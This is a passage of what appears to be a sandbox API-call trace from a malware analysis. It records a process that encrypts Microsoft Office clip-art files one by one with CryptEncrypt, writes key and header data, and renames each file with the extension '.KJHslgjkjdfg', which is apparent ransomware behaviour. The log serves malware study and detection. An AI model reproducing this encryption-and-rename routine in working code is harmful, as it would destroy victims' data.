0x2f0c898 [0230.874] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.874] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.874] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.877] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.877] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.877] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.877] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.877] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.877] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.877] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0230.878] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0230.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.879] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0230.879] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.879] SetEndOfFile (hFile=0x130) returned 1 [0230.882] GetProcessHeap () returned 0x2ef0000 [0230.882] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.882] GetProcessHeap () returned 0x2ef0000 [0230.882] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp.kjhslgjkjdfg")) returned 1 [0230.884] CloseHandle (hObject=0x130) returned 1 [0230.884] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47b3800, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa47b3800, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01562U.BMP", cAlternateFileName="")) returned 1 [0230.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.887] GetProcessHeap () returned 0x2ef0000 [0230.887] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.887] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.887] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.887] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.889] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.889] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.889] GetProcessHeap () returned 0x2ef0000 [0230.889] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.889] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.889] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.889] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.889] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.889] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.889] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.890] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.890] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.890] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.890] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0230.891] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0230.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.892] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0230.892] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.892] SetEndOfFile (hFile=0x130) returned 1 [0230.894] GetProcessHeap () returned 0x2ef0000 [0230.894] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.894] GetProcessHeap () returned 0x2ef0000 [0230.894] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp.kjhslgjkjdfg")) returned 1 [0230.896] CloseHandle (hObject=0x130) returned 1 [0230.896] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fb68400, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fb68400, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01607U.BMP", cAlternateFileName="")) returned 1 [0230.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.897] GetProcessHeap () returned 0x2ef0000 [0230.898] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.898] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.898] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.898] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.898] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.898] GetProcessHeap () returned 0x2ef0000 [0230.898] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.898] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.898] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.898] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.901] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.901] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.901] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.901] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.901] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.901] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.901] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0230.902] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0230.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.903] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0230.903] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.903] SetEndOfFile (hFile=0x130) returned 1 [0230.907] GetProcessHeap () returned 0x2ef0000 [0230.907] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.907] GetProcessHeap () returned 0x2ef0000 [0230.907] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp.kjhslgjkjdfg")) returned 1 [0230.909] CloseHandle (hObject=0x130) returned 1 [0230.909] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a3dc00, ftCreationTime.dwHighDateTime=0x1bd4e60, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35a3dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e60, nFileSizeHigh=0x0, nFileSizeLow=0x9abe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01931J.JPG", cAlternateFileName="")) returned 1 [0230.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.910] GetProcessHeap () returned 0x2ef0000 [0230.910] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.910] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.910] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.910] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0230.913] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.914] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.914] GetProcessHeap () returned 0x2ef0000 [0230.914] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.914] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.914] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.914] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.914] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.914] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.914] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.915] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.915] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.915] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.915] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9abe, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9abe, lpOverlapped=0x0) returned 1 [0230.916] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9ac0, dwBufLen=0x9ac0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9ac0) returned 1 [0230.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.917] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9ac0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9ac0, lpOverlapped=0x0) returned 1 [0230.917] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.917] SetEndOfFile (hFile=0x130) returned 1 [0230.920] GetProcessHeap () returned 0x2ef0000 [0230.920] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.921] GetProcessHeap () returned 0x2ef0000 [0230.921] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.kjhslgjkjdfg")) returned 1 [0230.922] CloseHandle (hObject=0x130) returned 1 [0230.922] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x451e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02028K.JPG", cAlternateFileName="")) returned 1 [0230.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.925] GetProcessHeap () returned 0x2ef0000 [0230.925] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.925] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.925] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.925] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0230.927] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.927] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.927] GetProcessHeap () returned 0x2ef0000 [0230.927] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.927] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.928] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.928] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.928] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.928] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.928] WriteFile (in: hFile=0x130, 